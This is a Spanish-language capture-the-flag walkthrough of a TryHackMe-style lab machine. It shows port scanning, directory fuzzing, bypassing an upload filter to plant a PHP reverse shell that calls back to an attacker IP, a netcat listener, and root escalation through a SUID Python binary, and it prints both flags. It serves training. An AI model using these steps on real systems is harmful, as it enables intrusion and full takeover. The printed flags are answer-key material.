Fase 1: Reconocimiento (Escaneo de Puertos)
El primer paso es mapear los puertos y servicios abiertos de la máquina objetivo para identificar posibles vías de intrusión.
Escaneo Completo de Nmap
Se ejecuta un escaneo completo de puertos TCP (-p-), detectando las versiones de los servicios (-sV) y ejecutando scripts de reconocimiento básico (-A), con velocidad muy agresiva (-T5):
sudo nmap -sV -T5 -A -p- 10.130.157.45
Resultados Clave de Nmap
El escaneo revela 2 puertos abiertos principales:
- Puerto 22 (SSH): Servidor
OpenSSH 8.2p1 Ubuntu 4ubuntu0.13(Ubuntu Linux; protocolo 2.0). - Puerto 80 (HTTP): Servidor web
Apache httpd 2.4.41(Ubuntu), con el título de página “HackIT - Home”. Además, se observa que la cookiePHPSESSIDno tiene el flagHttpOnlyactivo.
Fase 2: Enumeración Web (Fuzzing de Directorios)
Descubrimiento con Gobuster
Realizamos fuerza bruta de directorios en el sitio web para buscar páginas o paneles ocultos utilizando gobuster y la lista de palabras common.txt:
gobuster dir -e -u http://10.130.157.45 -w /usr/share/wordlists/dirb/common.txt
El escaneo de directorios revela dos recursos críticos:
/panel/(Status: 301): Panel de subida de archivos en la web./uploads/(Status: 301): Carpeta pública en la que se guardan los archivos subidos.
Accedemos a http://10.130.157.45/panel/ y confirmamos que nos proporciona una interfaz para cargar archivos:
Fase 3: Intrusión (Acceso Inicial)
1. Generación de la Reverse Shell
Utilizamos el sitio web Reverse Shell Generator para preparar una reverse shell en PHP basada en el script clásico de PentestMonkey. Configuramos nuestra máquina atacante (192.168.149.112) y el puerto de escucha (9001):
2. Evasión del Filtro de Subida de Archivos
Si intentamos subir el archivo directamente como .php, la aplicación web lo rechaza debido a un filtro básico que bloquea esta extensión.
Para evadir este filtro, renombramos la extensión del archivo a una alternativa que el servidor Apache sea capaz de interpretar y ejecutar como script PHP. Algunas opciones comunes son .phtml, .php5, .php3 o .php7. En este caso, renombramos nuestro script de reverse shell a shell_monkey.php.isifire.
Subimos el archivo modificado y el panel web nos confirma que ha sido cargado exitosamente:
3. Recepción de la Conexión Inversa
Iniciamos un listener de Netcat en nuestro terminal local de Kali Linux en el puerto 9001:
nc -lvnp 9001
A continuación, navegamos al directorio /uploads/ de la máquina víctima a través del navegador. Vemos los archivos cargados, incluyendo nuestra shell (además de otras pruebas anteriores). Al hacer clic en nuestro archivo .phtml o realizar una petición directa (por ejemplo, con curl), forzamos al servidor a ejecutar el código PHP:
4. Estabilización de la Shell y Flag de Usuario
Estabilizamos la terminal interactiva utilizando los comandos de tratamiento de la TTY correspondientes a python:
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Mandamos la shell a segundo plano con CTRL+Z
stty raw -echo; fg
# Escribimos reset y pulsamos enter si lo solicita, u ordenamos las variables de entorno:
export TERM=xterm
export SHELL=bash
Buscamos el archivo user.txt en todo el sistema utilizando el comando find:
find / -iname "user.txt" 2>/dev/null
El archivo de flag del usuario se encuentra en /var/www/user.txt. Hacemos un cat para leer su contenido:
La flag del usuario es:
THM{y0u_g0t_a_sh3ll}
Fase 4: Escalada de Privilegios
1. Búsqueda de Archivos SUID
Para subir de nivel nuestros privilegios, buscamos binarios en el sistema que tengan configurado el bit SUID (Set Owner User ID), lo que permite que se ejecuten con los privilegios del propietario del archivo (en este caso, root):
find / -user root -perm /4000 2>/dev/null
En la lista de binarios SUID devuelta, identificamos:
/usr/bin/python2.7
2. Explotación con GTFOBins
Consultamos la base de datos de referencia GTFOBins para ver cómo abusar del binario python cuando tiene activo el bit SUID para obtener una shell interactiva con privilegios elevados:
El payload de explotación es:
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
Nota: Dado que /usr/bin/python2.7 es el que tiene los privilegios SUID asignados, llamamos directamente a ese binario.
3. Obtención de Root y Flag de Administrador
Ejecutamos el comando de escalada en la terminal. El parámetro -p en /bin/sh es crucial para que no se descarten los privilegios efectivos (euid) heredados de SUID durante el spawn de la shell.
Comprobamos nuestra identidad con whoami y leemos la flag en /root/root.txt:
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
whoami
cat /root/root.txt
La flag de root es:
THM{pr1v1l3g3_3sc4l4t10n}